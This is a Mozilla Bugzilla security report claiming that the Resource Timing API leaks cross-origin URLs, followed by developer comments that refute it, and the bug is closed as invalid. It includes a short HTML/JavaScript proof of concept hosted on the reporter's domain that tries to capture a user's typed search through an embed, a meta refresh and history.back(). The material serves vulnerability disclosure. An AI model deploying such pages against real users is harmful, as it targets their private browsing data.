1491575 - Cross-Origin URL Steal is possible using performance.getEntriesByType()

Status: RESOLVED INVALID

(Core :: DOM: Core & HTML, defect, P2)

Description

[James Lee]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36

Steps to reproduce:

First, we are using Resource Timing API to confuse this browser and this functionality problem ends up being a security bug.

We are navigating the cross-origin page inside an embed tag. We can fool the browser and make it remember the typed information in the wrong place. 

This allows us to access information across origins.

I used history.back() to make sure embed tag remember the typed information.

Test live on: http://pwning.click/xoriginff.php

Proof Of Concept:

xoriginff.php:

<embed src="https://www.bing.com/search?q=test">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[0].name)},5000);
</script>
<meta http-equiv="refresh" content="6;url=http://pwning.click/histback.html">
<b>
<br>
<br>
<br>
Type anything into the search bar and press ENTER! 
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>

histback.html:

<Script>
history.back();
</script>


Actual results:

Mozilla Firefox allows us to access Cross-Origin URL.


Expected results:

Accessing to Cross-Origin URL should be not possible.

Comment 1

[James Lee]

Tested on Firefox Nightly 64.0a1 (2018-09-15) (64-bit).

Comment 2

[Al Billings [:abillings - ex-MoCo]]

Dragana, can you take a look at this since you fixed bug 1468523.

Comment 3

[Dragana Damjanovic [:dragana]]

(In reply to Al Billings [:abillings] from comment #2)
> Dragana, can you take a look at this since you fixed bug 1468523.

I will take it.

Comment 4

[Dragana Damjanovic [:dragana]]

(In reply to James Lee from comment #1)
> Tested on Firefox Nightly 64.0a1 (2018-09-15) (64-bit).

I am not sure the test works properly.
Can you check if you can make the test work.

Comment 5

[Honza Bambas (:mayhemer)]

I believe this will just come to the same conclusion as we have made in bug 1492207.  We simply don't know what resources to include in the list.

Comment 6

[Boris Zbarsky [:bzbarsky]]

I don't see what this has to do with knowing or not knowing things.   And the bug this got marked duplicate of is about favicons, which is not what this bug claims to be about.

When I try the testcase, the alert I get shows "https://www.bing.com/search?q=test".  This is not showing any sort of cross-origin issue.  James, are you seeing some other behavior on the testcase that actually shows a  cross-origin issue?

Comment 7

[Boris Zbarsky [:bzbarsky]]

It might be relevant that I am not seeing a "back" operation happening because the meta refresh does a replace load.

I can see how if we did end up with a history navigation there we might end up doing a history load in the child docshell which would load the post-navigation URI but include it in resource timing, maybe.   Sort of similar to bug 1487964.

Comment 8

[Honza Bambas (:mayhemer)]

Agr... yes, I wanted to duplicate to bug 1487964 - sorry, too many bugs with similar title :)

The test case for this bug works kinda fuzzy for me, but according the description, this seemed to me very similar of not the same as bug 1487964.

Comment 9

[James Lee]

Ah yes, you're right. This steals typed history information using history.back() and it appears this only works on Chrome, my bad. So I guess this is just a bug rather than a Vulnerability, I think same for https://bugzilla.mozilla.org/show_bug.cgi?id=1495324

Comment 11

[Daniel Veditz [:dveditz]]

The URL I get in the popup is the URL from the <embed>, and of course the page knows that URL already.. What would be more convincing would be if the test showed the URL in the frame after it navigated somewhere. When i try to do that (by clicking links in the frame) the test case still reports the original bing URL.

I'm not sure what the non-vulnerability "bug" is that you mention in comment 9

Comment 12

[Valentin Gosu [:valentin] (he/him)]

Stealing this from Dragana.

Comment 13

[Valentin Gosu [:valentin] (he/him)]

I agree with Daniel on this one.
I fiddled with the test locally, and it seems that navigations inside the embed (on bing.com) don't show up in the entry list (although bug 1487964 location changes do), and the history.back() bit doesn't seem to do anything.

Please reopen if you think I missed something.